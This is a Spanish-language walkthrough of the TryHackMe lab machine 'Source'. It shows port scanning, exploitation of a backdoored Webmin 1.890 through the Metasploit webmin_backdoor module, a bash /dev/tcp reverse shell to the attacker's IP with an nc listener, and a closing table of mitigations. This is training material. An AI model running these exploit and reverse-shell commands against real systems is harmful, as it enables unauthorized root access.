Source - TryHackMe

xhetic

xhetic

@xhetic

TryHackMeLinuxEasy
Source - TryHackMe

📚 Esta publicación pertenece a la colección:

Source - TryHackMe Walkthrough

Bienvenido a mi writeup de Source de TryHackMe.

Una máquina de dificultad fácil que demuestra la importancia de mantener los servicios web actualizados. La vulnerabilidad principal es una versión antigua de Webmin que permite cambio de contraseña y ejecución remota de comandos sin autenticación. El acceso directo a root hace que la escalada de privilegios sea trivial, pero el camino real plantea análisis de certificados SSL y búsqueda de vulnerabilidades conocidas.

Room: Source
Dificultad: Easy
OS: Linux
Objetivo: Capturar las flags de usuario y root

🎯 Información del Objetivo

IP Target: 10.114.168.77

🔍 Fase 1: Reconocimiento (RECON)

Comprobación de Conectividad

Comienzo verificando si la máquina está activa:

ping -c1 10.114.168.77
▶ output
64 bytes from 10.114.168.77: icmp_seq=1 ttl=62 time=42.6 ms

💡 Referencia rápida de TTL:

  • TTL ≈ 64 → Linux/Unix
  • TTL ≈ 128 → Windows

La máquina responde al ping con TTL=62, indicando que estamos ante un sistema Linux.

Escaneo de Puertos Amplio

Realizo un escaneo de todos los puertos para identificar qué hay expuesto:

nmap -p- --open --min-rate 5000 -sS -n -Pn 10.114.168.77
  • -p- → Escanea todos los 65535 puertos
  • --open → Muestra solo puertos abiertos
  • --min-rate 5000 → Mínimo 5000 paquetes por segundo
  • -sS → SYN scan (stealth)
  • -Pn → Sin ping previo
  • -n → Sin resolución DNS
▶ output
PORT      STATE SERVICE
22/tcp    open  ssh
10000/tcp open  snet-sensor-mgmt

Encuentro dos puertos abiertos: SSH (22) y un servicio en puerto 10000 (etiquetado como "snet-sensor-mgmt" pero necesito investigar más). Realizo escaneo detallado:

nmap -p22,10000 -sCV 10.114.168.77
  • -sC → Scripts NSE por defecto
  • -sV → Detección de versiones
▶ output
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 b7:4c:d0:bd:e2:7b:1b:15:72:27:64:56:29:15:ea:23 (RSA)
|   256 b7:85:23:11:4f:44:fa:22:00:8e:40:77:5e:cf:28:7c (ECDSA)
|_  256 a9:fe:4b:82:bf:89:34:59:36:5b:ec:da:c2:d3:95:ce (ED25519)
10000/tcp open  http    MiniServ 1.890 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1)

El mapa de servicios:

  • Puerto 22 → SSH (OpenSSH 7.6p1)
  • Puerto 10000Webmin 1.890 — MiniServ httpd

La versión de OpenSSH es antigua (7.6p1) y Webmin 1.890 es notablemente vieja. Ambas podrían tener vulnerabilidades conocidas.

📁 Fase 2: Enumeración

Búsqueda de Vulnerabilidades Conocidas

Utilizo searchsploit para buscar si hay exploits públicos para estas versiones:

searchsploit OpenSSH 7.6p1

Encuentro vulnerabilidades de enumeración de usuarios, pero nada explotable directamente. Ahora busco por Webmin:

searchsploit Webmin 1.890
▶ output
Webmin 1.900 - Remote Command Execution (Metasploit)                  | cgi/remote/46201.rb

Encuentro que existe una vulnerabilidad de RCE en Webmin 1.900, muy cercana a la versión 1.890. Es posible que la versión 1.890 también sea vulnerable.

Luego pasaré a las pruebas de explotación, por ahora voy a enumerar pasivamente.

Intento: Acceso HTTP Directo al Puerto 10000

Intento acceder mediante HTTP estándar a http://10.114.168.77:10000:

El navegador me muestra una página, pero parece que hay problemas de renderización. Webmin típicamente usa HTTPS, no HTTP. Esto podría ser un intento fallido de acceso.

Acceso HTTPS al Puerto 10000 — Exitoso

Cambio al protocolo HTTPS: https://10.114.168.77:10000/

El navegador me advierte sobre un certificado auto-firmado. Acepto el aviso y accedo al panel de Webmin.

Panel de administración Webmin

Estoy dentro del panel de Webmin. Pero aún necesito credenciales para acceder completamente.

Análisis del Certificado SSL

Reviso el certificado SSL del sitio haciendo clic en la información del certificado. Encuentro información valiosa en el certificado auto-firmado:

Certificado SSL con información del servidor

En el campo Subject CN encuentro: root@source

Esto sugiere que:

  • El servidor está identificado como "source"
  • Potencialmente hay un usuario "root" o la aplicación se ejecuta como root
  • El email "root@source" es una pista

Investigación de la Vulnerabilidad Webmin 1.890

No sé que más enumerar pasivamente, por lo que decido qu ees momento de comprobar si Webmin 1.890 es vulnerable al exploit que encontré antes (Aunque no sea para exactamente la misma versión).

Voy a usar el exploit que para la versión 1.890 el cual permite cambiar la contraseña de administrador SIN autenticación previa. Esto sería crítico.

Busco en Metasploit un módulo explícitamente para esta vulnerabilidad:

msfconsole
search webmin backdoor

Encuentro el módulo:

exploit/linux/http/webmin_backdoor

Esta es la vía de explotación que probaré primero.

🚀 Fase 3: Explotación

Explotación Webmin via Metasploit

Cargo el módulo de exploitación:

use exploit/linux/http/webmin_backdoor
set RHOSTS 10.114.168.77
set SRVHOST 10.114.168.77
set LHOST 192.168.139.157
set LPORT 4455
set SSL true
run

Ejecución del exploit Webmin

Obtengo acceso inmediato como usuario root. La explotación funciona de forma directa sin pasos intermedios.

Estabilización de la Shell

Aunque ya tengo acceso, voy a enviarme una reverse shell más estable para trabajar cómodamente:

Primero, me pongo en escucha:

nc -nlvp 4455

Desde la shell que tengo en metasploit, ejecuto una reverse shell:

/bin/bash -c '/bin/bash -i >& /dev/tcp/192.168.139.157/4455 0>&1'

Obtengo la conexión. Realizo tratamiento de TTY para estabilizar:

script /dev/null -c bash
# Ctrl+Z
stty raw -echo; fg
reset xterm
export TERM=xterm

Ahora tengo una shell funcional como root.

whoami
▶ output
root

Confirmo que estoy como root. Posiblemente no necesitaba hacer todo esto porque ya tenía acceso directo, pero es un buen ejemplo de cómo tener una shell estable y funcional.

🚩 User Flag

Busco la flag de usuario. Generalmente se encuentra en directorios home de usuarios estándar:

find / -name 'user.txt' 2>/dev/null

Encuentro dónde está la flag

/home/dark/user.txt

Flag de usuario capturada.

🚩 Root Flag

Ahora busco la flag de root:

cat /root/root.txt

Flag de root capturada.

📊 Resumen

Cadena de Ataque

nmap puertos 22,10000 → searchsploit → HTTPS → análisis certificado SSL → Webmin vulnerable → Metasploit → RCE directo como root → reverse shell → 2 flags

Herramientas Utilizadas

  • nmap — Reconocimiento de puertos y versiones
  • searchsploit — Búsqueda de exploits públicos
  • Navegador web — Acceso HTTPS y análisis de certificados
  • Metasploit Framework — Explotación del backdoor Webmin
  • netcat — Reverse shell listener
  • bash — Ejecución de comandos

🛡️ Vulnerabilidades y Mitigaciones

VulnerabilidadSeveridadMitigación
Webmin versión antigua sin parches (1.890)CRÍTICAActualizar a versión segura (>1.920); aplicar parches de seguridad regularmente
Webmin ejecutándose como rootCRÍTICAEjecutar servicios con usuario no-privilegiado; principio de mínimo privilegio
Falta de seguridad en profundidadALTAFirewall: restringir acceso a puertos administrativos; usar VPN

📚 Referencias


🔗 Si quieres seguir aprendiendo y mejorando tus habilidades, explora mis writeups paso a paso en Shadows y mis apuntes y guías técnicas en Shards.

Happy Hacking! 🎩🔐

Sigueme en TryHackMe :

Writeup realizado con fines educativos. Recuerda solo realizar pentesting en entornos autorizados.